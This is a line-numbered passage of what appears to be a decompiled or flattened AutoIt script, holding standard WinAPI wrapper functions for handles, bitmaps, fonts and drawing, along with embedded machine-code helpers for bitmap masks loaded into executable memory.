  4425. Local $aresult = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $iinherithandle, "dword", $ioptions)
  4426. If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0)
  4427. Return $aresult[4]
  4428. EndFunc
  4429.  
  4430. Func _winapi_getcurrentobject($hdc, $itype)
  4431. Local $aret = DllCall("gdi32.dll", "handle", "GetCurrentObject", "handle", $hdc, "uint", $itype)
  4432. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0)
  4433. Return $aret[0]
  4434. EndFunc
  4435.  
  4436. Func _winapi_getcurrentprocess()
  4437. Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
  4438. If @error Then Return SetError(@error, @extended, 0)
  4439. Return $aresult[0]
  4440. EndFunc
  4441.  
  4442. Func _winapi_getobject($hobject, $isize, $pobject)
  4443. Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "struct*", $pobject)
  4444. If @error Then Return SetError(@error, @extended, 0)
  4445. Return $aresult[0]
  4446. EndFunc
  4447.  
  4448. Func _winapi_getobjectinfobyhandle($hobject)
  4449. Local $tagpublic_object_basic_information = "ulong Attributes;ulong GrantedAcess;ulong HandleCount;ulong PointerCount;ulong Reserved[10]"
  4450. Local $tpobi = DllStructCreate($tagpublic_object_basic_information)
  4451. Local $aret = DllCall("ntdll.dll", "long", "ZwQueryObject", "handle", $hobject, "uint", 0, "struct*", $tpobi, "ulong", DllStructGetSize($tpobi), "ptr", 0)
  4452. If @error Then Return SetError(@error, @extended, 0)
  4453. If $aret[0] Then Return SetError(10, $aret[0], 0)
  4454. Local $aresult[4]
  4455. For $i = 0 To 3
  4456. $aresult[$i] = DllStructGetData($tpobi, $i + 1)
  4457. Next
  4458. Return $aresult
  4459. EndFunc
  4460.  
  4461. Func _winapi_getobjectnamebyhandle($hobject)
  4462. Local $tagunicode_string = "struct;ushort Length;ushort MaximumLength;ptr Buffer;endstruct"
  4463. Local $tagpublic_object_type_information = "struct;" & $tagunicode_string & ";ulong Reserved[22];endstruct"
  4464. Local $tpoti = DllStructCreate($tagpublic_object_type_information & ";byte[32]")
  4465. Local $aret = DllCall("ntdll.dll", "long", "ZwQueryObject", "handle", $hobject, "uint", 2, "struct*", $tpoti, "ulong", DllStructGetSize($tpoti), "ulong*", 0)
  4466. If @error Then Return SetError(@error, @extended, "")
  4467. If $aret[0] Then Return SetError(10, $aret[0], "")
  4468. Local $pdata = DllStructGetData($tpoti, 3)
  4469. If NOT $pdata Then Return SetError(11, 0, "")
  4470. Return _winapi_getstring($pdata)
  4471. EndFunc
  4472.  
  4473. Func _winapi_getobjecttype($hobject)
  4474. Local $aret = DllCall("gdi32.dll", "dword", "GetObjectType", "handle", $hobject)
  4475. If @error Then Return SetError(@error, @extended, 0)
  4476. Return $aret[0]
  4477. EndFunc
  4478.  
  4479. Func _winapi_getstdhandle($istdhandle)
  4480. If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
  4481. Local Const $ahandle[3] = [-10, -11, -12]
  4482. Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle])
  4483. If @error Then Return SetError(@error, @extended, -1)
  4484. Return $aresult[0]
  4485. EndFunc
  4486.  
  4487. Func _winapi_getstockobject($iobject)
  4488. Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject)
  4489. If @error Then Return SetError(@error, @extended, 0)
  4490. Return $aresult[0]
  4491. EndFunc
  4492.  
  4493. Func _winapi_selectobject($hdc, $hgdiobj)
  4494. Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
  4495. If @error Then Return SetError(@error, @extended, False)
  4496. Return $aresult[0]
  4497. EndFunc
  4498.  
  4499. Func _winapi_sethandleinformation($hobject, $imask, $iflags)
  4500. Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags)
  4501. If @error Then Return SetError(@error, @extended, False)
  4502. Return $aresult[0]
  4503. EndFunc
  4504.  
  4505. #EndRegion Public Functions
  4506. #Region Global Variables and Constants
  4507. Global Const $tagbitmap = "struct;long bmType;long bmWidth;long bmHeight;long bmWidthBytes;ushort bmPlanes;ushort bmBitsPixel;ptr bmBits;endstruct"
  4508. Global Const $tagbitmapv5header = "struct;dword bV5Size;long bV5Width;long bV5Height;ushort bV5Planes;ushort bV5BitCount;dword bV5Compression;dword bV5SizeImage;long bV5XPelsPerMeter;long bV5YPelsPerMeter;dword bV5ClrUsed;dword bV5ClrImportant;dword bV5RedMask;dword bV5GreenMask;dword bV5BlueMask;dword bV5AlphaMask;dword bV5CSType;int bV5Endpoints[9];dword bV5GammaRed;dword bV5GammaGreen;dword bV5GammaBlue;dword bV5Intent;dword bV5ProfileData;dword bV5ProfileSize;dword bV5Reserved;endstruct"
  4509. Global Const $tagdibsection = $tagbitmap & ";" & $tagbitmapinfoheader & ";dword dsBitfields[3];ptr dshSection;dword dsOffset"
  4510. Global Const $tmpf_fixed_pitch = 1
  4511. Global Const $tmpf_vector = 2
  4512. Global Const $tmpf_truetype = 4
  4513. Global Const $tmpf_device = 8
  4514. Global Const $__winapiconstant_fw_normal = 400
  4515. Global Const $__winapiconstant_default_charset = 1
  4516. Global Const $__winapiconstant_out_default_precis = 0
  4517. Global Const $__winapiconstant_clip_default_precis = 0
  4518. Global Const $__winapiconstant_default_quality = 0
  4519. #EndRegion Global Variables and Constants
  4520. #Region Functions list
  4521. #EndRegion Functions list
  4522. #Region Public Functions
  4523.  
  4524. Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
  4525. Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
  4526. If @error Then Return SetError(@error, @extended, False)
  4527. Return $aresult[0]
  4528. EndFunc
  4529.  
  4530. Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
  4531. Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
  4532. If @error Then Return SetError(@error, @extended, 0)
  4533. Return $aresult[0]
  4534. EndFunc
  4535.  
  4536. Func _winapi_copybitmap($hbitmap)
  4537. $hbitmap = _winapi_copyimage($hbitmap, 0, 0, 0, 8192)
  4538. Return SetError(@error, @extended, $hbitmap)
  4539. EndFunc
  4540.  
  4541. Func _winapi_copyimage($himage, $itype = 0, $ixdesiredpixels = 0, $iydesiredpixels = 0, $iflags = 0)
  4542. Local $aret = DllCall("user32.dll", "handle", "CopyImage", "handle", $himage, "uint", $itype, "int", $ixdesiredpixels, "int", $iydesiredpixels, "uint", $iflags)
  4543. If @error Then Return SetError(@error, @extended, 0)
  4544. Return $aret[0]
  4545. EndFunc
  4546.  
  4547. Func _winapi_createandbitmap($hbitmap)
  4548. Local $ierror = 0, $hdib = 0
  4549. $hbitmap = _winapi_copybitmap($hbitmap)
  4550. If NOT $hbitmap Then Return SetError(@error + 20, @extended, 0)
  4551. Do
  4552. Local $atdib[2]
  4553. $atdib[0] = DllStructCreate($tagdibsection)
  4554. If (NOT _winapi_getobject($hbitmap, DllStructGetSize($atdib[0]), $atdib[0])) OR (DllStructGetData($atdib[0], "bmBitsPixel") <> 32) OR (DllStructGetData($atdib[0], "biCompression")) Then
  4555. $ierror = 10
  4556. ExitLoop
  4557. EndIf
  4558. $atdib[1] = DllStructCreate($tagbitmap)
  4559. $hdib = _winapi_createdib(DllStructGetData($atdib[0], "bmWidth"), DllStructGetData($atdib[0], "bmHeight"), 1)
  4560. If NOT _winapi_getobject($hdib, DllStructGetSize($atdib[1]), $atdib[1]) Then
  4561. $ierror = 11
  4562. ExitLoop
  4563. EndIf
  4564. Local $aret = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", __andproc(), "ptr", 0, "uint", 0, "wparam", DllStructGetPtr($atdib[0]), "lparam", DllStructGetPtr($atdib[1]))
  4565. If @error Then
  4566. $ierror = @error
  4567. ExitLoop
  4568. EndIf
  4569. If NOT $aret[0] Then
  4570. $ierror = 12
  4571. ExitLoop
  4572. EndIf
  4573. $ierror = 0
  4574. Until 1
  4575. _winapi_deleteobject($hbitmap)
  4576. If $ierror Then
  4577. If $hdib Then
  4578. _winapi_deleteobject($hdib)
  4579. EndIf
  4580. $hdib = 0
  4581. EndIf
  4582. Return SetError($ierror, 0, $hdib)
  4583. EndFunc
  4584.  
  4585. Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
  4586. Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "struct*", $pbits)
  4587. If @error Then Return SetError(@error, @extended, 0)
  4588. Return $aresult[0]
  4589. EndFunc
  4590.  
  4591. Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
  4592. Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
  4593. If @error Then Return SetError(@error, @extended, 0)
  4594. Return $aresult[0]
  4595. EndFunc
  4596.  
  4597. Func _winapi_createdib($iwidth, $iheight, $ibitsperpel = 32, $tcolortable = 0, $icolorcount = 0)
  4598. Local $argbq[2], $icolors, $tagrgbq
  4599. Switch $ibitsperpel
  4600. Case 1
  4601. $icolors = 2
  4602. Case 4
  4603. $icolors = 16
  4604. Case 8
  4605. $icolors = 256
  4606. Case Else
  4607. $icolors = 0
  4608. EndSwitch
  4609. If $icolors Then
  4610. If NOT IsDllStruct($tcolortable) Then
  4611. Switch $ibitsperpel
  4612. Case 1
  4613. $argbq[0] = 0
  4614. $argbq[1] = 16777215
  4615. $tcolortable = _winapi_createdibcolortable($argbq)
  4616. Case Else
  4617. EndSwitch
  4618. Else
  4619. If $icolors > $icolorcount Then
  4620. $icolors = $icolorcount
  4621. EndIf
  4622. If (NOT $icolors) OR ((4 * $icolors) > DllStructGetSize($tcolortable)) Then
  4623. Return SetError(20, 0, 0)
  4624. EndIf
  4625. EndIf
  4626. $tagrgbq = ";dword aRGBQuad[" & $icolors & "]"
  4627. Else
  4628. $tagrgbq = ""
  4629. EndIf
  4630. Local $tbitmapinfo = DllStructCreate($tagbitmapinfoheader & $tagrgbq)
  4631. DllStructSetData($tbitmapinfo, "biSize", 40)
  4632. DllStructSetData($tbitmapinfo, "biWidth", $iwidth)
  4633. DllStructSetData($tbitmapinfo, "biHeight", $iheight)
  4634. DllStructSetData($tbitmapinfo, "biPlanes", 1)
  4635. DllStructSetData($tbitmapinfo, "biBitCount", $ibitsperpel)
  4636. DllStructSetData($tbitmapinfo, "biCompression", 0)
  4637. DllStructSetData($tbitmapinfo, "biSizeImage", 0)
  4638. DllStructSetData($tbitmapinfo, "biXPelsPerMeter", 0)
  4639. DllStructSetData($tbitmapinfo, "biYPelsPerMeter", 0)
  4640. DllStructSetData($tbitmapinfo, "biClrUsed", $icolors)
  4641. DllStructSetData($tbitmapinfo, "biClrImportant", 0)
  4642. If $icolors Then
  4643. If IsDllStruct($tcolortable) Then
  4644. _winapi_movememory(DllStructGetPtr($tbitmapinfo, "aRGBQuad"), $tcolortable, 4 * $icolors)
  4645. Else
  4646. _winapi_zeromemory(DllStructGetPtr($tbitmapinfo, "aRGBQuad"), 4 * $icolors)
  4647. EndIf
  4648. EndIf
  4649. Local $hbitmap = _winapi_createdibsection(0, $tbitmapinfo, 0, $__g_vext)
  4650. If NOT $hbitmap Then Return SetError(@error, @extended, 0)
  4651. Return $hbitmap
  4652. EndFunc
  4653.  
  4654. Func _winapi_createdibsection($hdc, $tbitmapinfo, $iusage, ByRef $pbits, $hsection = 0, $ioffset = 0)
  4655. $pbits = 0
  4656. Local $aret = DllCall("gdi32.dll", "handle", "CreateDIBSection", "handle", $hdc, "struct*", $tbitmapinfo, "uint", $iusage, "ptr*", 0, "handle", $hsection, "dword", $ioffset)
  4657. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0)
  4658. $pbits = $aret[4]
  4659. Return $aret[0]
  4660. EndFunc
  4661.  
  4662. Func _winapi_createdibcolortable(Const ByRef $acolortable, $istart = 0, $iend = -1)
  4663. If __checkerrorarraybounds($acolortable, $istart, $iend) Then Return SetError(@error + 10, @extended, 0)
  4664. Local $tcolortable = DllStructCreate("dword[" & ($iend - $istart + 1) & "]")
  4665. Local $icount = 1
  4666. For $i = $istart To $iend
  4667. DllStructSetData($tcolortable, 1, _winapi_switchcolor(__rgb($acolortable[$i])), $icount)
  4668. $icount += 1
  4669. Next
  4670. Return $tcolortable
  4671. EndFunc
  4672.  
  4673. Func _winapi_createfont($iheight, $iwidth, $iescape = 0, $iorientn = 0, $iweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $icharset = $__winapiconstant_default_charset, $ioutputprec = $__winapiconstant_out_default_precis, $iclipprec = $__winapiconstant_clip_default_precis, $iquality = $__winapiconstant_default_quality, $ipitch = 0, $sface = "Arial")
  4674. Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $iheight, "int", $iwidth, "int", $iescape, "int", $iorientn, "int", $iweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $icharset, "dword", $ioutputprec, "dword", $iclipprec, "dword", $iquality, "dword", $ipitch, "wstr", $sface)
  4675. If @error Then Return SetError(@error, @extended, 0)
  4676. Return $aresult[0]
  4677. EndFunc
  4678.  
  4679. Func _winapi_createfontindirect($tlogfont)
  4680. Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont)
  4681. If @error Then Return SetError(@error, @extended, 0)
  4682. Return $aresult[0]
  4683. EndFunc
  4684.  
  4685. Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
  4686. Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
  4687. If @error Then Return SetError(@error, @extended, 0)
  4688. Return $aresult[0]
  4689. EndFunc
  4690.  
  4691. Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse)
  4692. Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse)
  4693. If @error Then Return SetError(@error, @extended, 0)
  4694. Return $aresult[0]
  4695. EndFunc
  4696.  
  4697. Func _winapi_createsolidbrush($icolor)
  4698. Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "INT", $icolor)
  4699. If @error Then Return SetError(@error, @extended, 0)
  4700. Return $aresult[0]
  4701. EndFunc
  4702.  
  4703. Func _winapi_getbitmapdimension($hbitmap)
  4704. Local $tobj = DllStructCreate($tagbitmap)
  4705. Local $aret = DllCall("gdi32.dll", "int", "GetObject", "handle", $hbitmap, "int", DllStructGetSize($tobj), "struct*", $tobj)
  4706. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  4707. Return _winapi_createsize(DllStructGetData($tobj, "bmWidth"), DllStructGetData($tobj, "bmHeight"))
  4708. EndFunc
  4709.  
  4710. Func _winapi_getsyscolorbrush($iindex)
  4711. Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex)
  4712. If @error Then Return SetError(@error, @extended, 0)
  4713. Return $aresult[0]
  4714. EndFunc
  4715.  
  4716. Func _winapi_gettextextentpoint32($hdc, $stext)
  4717. Local $tsize = DllStructCreate($tagsize)
  4718. Local $isize = StringLen($stext)
  4719. Local $aret = DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize)
  4720. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  4721. Return $tsize
  4722. EndFunc
  4723.  
  4724. Func _winapi_gettextmetrics($hdc)
  4725. Local $ttextmetric = DllStructCreate($tagtextmetric)
  4726. Local $aret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric)
  4727. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  4728. Return $ttextmetric
  4729. EndFunc
  4730.  
  4731. Func _winapi_getwindowrgn($hwnd, $hrgn)
  4732. Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn)
  4733. If @error Then Return SetError(@error, @extended, 0)
  4734. Return $aresult[0]
  4735. EndFunc
  4736.  
  4737. Func _winapi_isalphabitmap($hbitmap)
  4738. $hbitmap = _winapi_copybitmap($hbitmap)
  4739. If NOT $hbitmap Then Return SetError(@error + 20, @extended, 0)
  4740. Local $aret, $ierror = 0
  4741. Do
  4742. Local $tdib = DllStructCreate($tagdibsection)
  4743. If (NOT _winapi_getobject($hbitmap, DllStructGetSize($tdib), $tdib)) OR (DllStructGetData($tdib, "bmBitsPixel") <> 32) OR (DllStructGetData($tdib, "biCompression")) Then
  4744. $ierror = 1
  4745. ExitLoop
  4746. EndIf
  4747. $aret = DllCall("user32.dll", "int", "CallWindowProc", "ptr", __alphaproc(), "ptr", 0, "uint", 0, "struct*", $tdib, "ptr", 0)
  4748. If @error OR ($aret[0] = -1) Then
  4749. $ierror = @error + 10
  4750. ExitLoop
  4751. EndIf
  4752. Until 1
  4753. _winapi_deleteobject($hbitmap)
  4754. If $ierror Then Return SetError($ierror, 0, 0)
  4755. Return $aret[0]
  4756. EndFunc
  4757.  
  4758. Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)
  4759. Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint)
  4760. If @error Then Return SetError(@error, @extended, False)
  4761. Return $aresult[0]
  4762. EndFunc
  4763.  
  4764. Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
  4765. Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags)
  4766. If @error Then Return SetError(@error, @extended, False)
  4767. Return $aresult[0]
  4768. EndFunc
  4769.  
  4770. Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)
  4771. Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw)
  4772. If @error Then Return SetError(@error, @extended, False)
  4773. Return $aresult[0]
  4774. EndFunc
  4775.  
  4776. #EndRegion Public Functions
  4777. #Region Embedded DLL Functions
  4778.  
  4779. Func __alphaproc()
  4780. Static $pproc = 0
  4781. If NOT $pproc Then
  4782. If @AutoItX64 Then
  4783. $pproc = __init(Binary("0x48894C240848895424104C894424184C894C24205541574831C050504883EC28" & "48837C24600074054831C0EB0748C7C0010000004821C0751F488B6C24604883" & "7D180074054831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB" & "034831C04821C0740C48C7C0FFFFFFFF4863C0EB6F48C744242800000000488B" & "6C24604C637D04488B6C2460486345084C0FAFF849C1E7024983C7FC4C3B7C24" & "287C36488B6C24604C8B7D184C037C24284983C7034C897C2430488B6C243080" & "7D0000740C48C7C0010000004863C0EB1348834424280471A54831C04863C0EB" & "034831C04883C438415F5DC3"))
  4784. Else
  4785. $pproc = __init(Binary("0x555331C05050837C241C00740431C0EB05B80100000021C075198B6C241C837D" & "1400740431C0EB05B80100000021C07502EB07B801000000EB0231C021C07407" & "B8FFFFFFFFEB4FC70424000000008B6C241C8B5D048B6C241C0FAF5D08C1E302" & "83C3FC3B1C247C288B6C241C8B5D14031C2483C303895C24048B6C2404807D00" & "007407B801000000EB0C8304240471BE31C0EB0231C083C4085B5DC21000"))
  4786. EndIf
  4787. EndIf
  4788. Return $pproc
  4789. EndFunc
  4790.  
  4791. Func __andproc()
  4792. Static $pproc = 0
  4793. If NOT $pproc Then
  4794. If @AutoItX64 Then
  4795. $pproc = __init(Binary("0x48894C240848895424104C894424184C894C2420554157415648C7C009000000" & "4883EC0848C704240000000048FFC875EF4883EC284883BC24A0000000007405" & "4831C0EB0748C7C0010000004821C00F85840000004883BC24A8000000007405" & "4831C0EB0748C7C0010000004821C07555488BAC24A000000048837D18007405" & "4831C0EB0748C7C0010000004821C07522488BAC24A800000048837D18007405" & "4831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB034831C048" & "21C07502EB0948C7C001000000EB034831C04821C07502EB0948C7C001000000" & "EB034831C04821C0740B4831C04863C0E9D701000048C74424280000000048C7" & "44243000000000488BAC24A00000004C637D0849FFCF4C3B7C24300F8C9C0100" & "0048C74424380000000048C74424400000000048C744244800000000488BAC24" & "A00000004C637D0449FFCF4C3B7C24480F8CDB000000488BAC24A00000004C8B" & "7D184C037C24284983C7034C897C2450488B6C2450807D000074264C8B7C2440" & "4C8B74243849F7DE4983C61F4C89F148C7C00100000048D3E04909C74C897C24" & "4048FF4424384C8B7C24384983FF1F7E6F4C8B7C244049F7D74C897C244048C7" & "442458180000004831C0483B4424587F3D488BAC24A80000004C8B7D184C037C" & "24604C897C24504C8B7C2440488B4C245849D3FF4C89F850488B6C2458588845" & "0048FF4424604883442458F871B948C74424380000000048C744244000000000" & "48834424280448FF4424480F810BFFFFFF48837C24380074794C8B7C244049F7" & "D74C8B74243849F7DE4983C6204C89F148C7C0FFFFFFFF48D3E04921C74C897C" & "244048C7442458180000004831C0483B4424587F3D488BAC24A80000004C8B7D" & "184C037C24604C897C24504C8B7C2440488B4C245849D3FF4C89F850488B6C24" & "585888450048FF4424604883442458F871B948FF4424300F814AFEFFFF48C7C0" & "010000004863C0EB034831C04883C470415E415F5DC3"))
  4796. Else
  4797. $pproc = __init(Binary("0x555357BA0800000083EC04C70424000000004A75F3837C243800740431C0EB05" & "B80100000021C07562837C243C00740431C0EB05B80100000021C0753F8B6C24" & "38837D1400740431C0EB05B80100000021C075198B6C243C837D1400740431C0" & "EB05B80100000021C07502EB07B801000000EB0231C021C07502EB07B8010000" & "00EB0231C021C07502EB07B801000000EB0231C021C0740731C0E969010000C7" & "042400000000C7442404000000008B6C24388B5D084B3B5C24040F8C3F010000" & "C744240800000000C744240C00000000C7442410000000008B6C24388B5D044B" & "3B5C24100F8CA90000008B6C24388B5D14031C2483C303895C24148B6C241480" & "7D0000741C8B5C240C8B7C2408F7DF83C71F89F9B801000000D3E009C3895C24" & "0CFF4424088B5C240883FB1F7E578B5C240CF7D3895C240CC744241818000000" & "31C03B4424187F2D8B6C243C8B5D14035C241C895C24148B5C240C8B4C2418D3" & "FB538B6C241858884500FF44241C83442418F871CBC744240800000000C74424" & "0C0000000083042404FF4424100F8145FFFFFF837C240800745B8B5C240CF7D3" & "8B7C2408F7DF83C72089F9B8FFFFFFFFD3E021C3895C240CC744241818000000" & "31C03B4424187F2D8B6C243C8B5D14035C241C895C24148B5C240C8B4C2418D3" & "FB538B6C241858884500FF44241C83442418F871CBFF4424040F81AFFEFFFFB8" & "01000000EB0231C083C4205F5B5DC21000"))
  4798. EndIf
  4799. EndIf
  4800. Return $pproc
  4801. EndFunc
  4802.  
  4803. Func __xorproc()
  4804. Static $pproc = 0
  4805. If NOT $pproc Then
  4806. If @AutoItX64 Then
  4807. $pproc = __init(Binary("0x48894C240848895424104C894424184C894C24205541574831C050504883EC28" & "48837C24600074054831C0EB0748C7C0010000004821C0751B48837C24680074" & "054831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB034831C0" & "4821C074084831C04863C0EB7748C7442428000000004C637C24584983C7FC4C" & "3B7C24287C4F4C8B7C24604C037C24284C897C2430488B6C2430807D00007405" & "4831C0EB0748C7C0010000004821C0741C4C8B7C24684C037C24284983C7034C" & "897C2430488B6C2430C64500FF48834424280471A148C7C0010000004863C0EB" & "034831C04883C438415F5DC3"))
  4808. Else
  4809. $pproc = __init(Binary("0x555331C05050837C241C00740431C0EB05B80100000021C07516837C24200074" & "0431C0EB05B80100000021C07502EB07B801000000EB0231C021C0740431C0EB" & "5AC70424000000008B5C241883C3FC3B1C247C3E8B5C241C031C24895C24048B" & "6C2404807D0000740431C0EB05B80100000021C074168B5C2420031C2483C303" & "895C24048B6C2404C64500FF8304240471B6B801000000EB0231C083C4085B5D" & "C21000"))
  4810. EndIf
  4811. EndIf
  4812. Return $pproc
  4813. EndFunc
  4814.  
  4815. #EndRegion Embedded DLL Functions
  4816. #Region Internal Functions
  4817.  
  4818. Func __init($ddata)
  4819. Local $ilength = BinaryLen($ddata)
  4820. Local $aret = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", 0, "ulong_ptr", $ilength, "dword", 4096, "dword", 64)
  4821. If @error OR NOT $aret[0] Then __fatalexit(1, "Error allocating memory.")
  4822. Local $tdata = DllStructCreate("byte[" & $ilength & "]", $aret[0])
  4823. DllStructSetData($tdata, 1, $ddata)
  4824. Return $aret[0]
  4825. EndFunc
  4826.  
  4827. #EndRegion Internal Functions
  4828. #Region Global Variables and Constants
  4829. Global Const $di_mask = 1
  4830. Global Const $di_image = 2
  4831. Global Const $di_normal = 3
  4832. Global Const $di_compat = 4
  4833. Global Const $di_defaultsize = 8
  4834. Global Const $di_nomirror = 16
  4835. Global Const $display_device_attached_to_desktop = 1
  4836. Global Const $display_device_multi_driver = 2
  4837. Global Const $display_device_primary_device = 4
  4838. Global Const $display_device_mirroring_driver = 8
  4839. Global Const $display_device_vga_compatible = 16
  4840. Global Const $display_device_removable = 32
  4841. Global Const $display_device_disconnect = 33554432
  4842. Global Const $display_device_remote = 67108864
  4843. Global Const $display_device_modespruned = 134217728
  4844. #EndRegion Global Variables and Constants
  4845. #Region Functions list
  4846. #EndRegion Functions list
  4847. #Region Public Functions
  4848.  
  4849. Func _winapi_createcompatibledc($hdc)
  4850. Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
  4851. If @error Then Return SetError(@error, @extended, 0)
  4852. Return $aresult[0]
  4853. EndFunc
  4854.  
  4855. Func _winapi_deletedc($hdc)
  4856. Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
  4857. If @error Then Return SetError(@error, @extended, False)
  4858. Return $aresult[0]
  4859. EndFunc
  4860.  
  4861. Func _winapi_drawedge($hdc, $trect, $iedgetype, $iflags)
  4862. Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "struct*", $trect, "uint", $iedgetype, "uint", $iflags)
  4863. If @error Then Return SetError(@error, @extended, False)
  4864. Return $aresult[0]
  4865. EndFunc
  4866.  
  4867. Func _winapi_drawframecontrol($hdc, $trect, $itype, $istate)
  4868. Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "struct*", $trect, "uint", $itype, "uint", $istate)
  4869. If @error Then Return SetError(@error, @extended, False)
  4870. Return $aresult[0]
  4871. EndFunc
  4872.  
  4873. Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
  4874. Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
  4875. If @error Then Return SetError(@error, @extended, False)
  4876. Return $aresult[0]
  4877. EndFunc
  4878.  
  4879. Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3)
  4880. Local $ioptions
  4881. Switch $iflags
  4882. Case 1
  4883. $ioptions = $di_mask
  4884. Case 2
  4885. $ioptions = $di_image
  4886. Case 3
  4887. $ioptions = $di_normal
  4888. Case 4
  4889. $ioptions = $di_compat
  4890. Case 5
  4891. $ioptions = $di_defaultsize
  4892. Case Else
  4893. $ioptions = $di_nomirror
  4894. EndSwitch
  4895. Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions)
  4896. If @error Then Return SetError(@error, @extended, False)
  4897. Return $aresult[0]
  4898. EndFunc
  4899.  
  4900. Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
  4901. Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags)
  4902. If @error Then Return SetError(@error, @extended, 0)
  4903. Return $aresult[0]
  4904. EndFunc
  4905.  
  4906. Func _winapi_enumdisplaydevices($sdevice, $idevnum)
  4907. Local $tname = 0, $iflags = 0, $adevice[5]
  4908. If $sdevice <> "" Then
  4909. $tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]")
  4910. DllStructSetData($tname, "Text", $sdevice)
  4911. EndIf
  4912. Local Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
  4913. Local $tdevice = DllStructCreate($tagdisplay_device)
  4914. Local $idevice = DllStructGetSize($tdevice)
  4915. DllStructSetData($tdevice, "Size", $idevice)
  4916. Local $aret = DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1)
  4917. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  4918. Local $in = DllStructGetData($tdevice, "Flags")
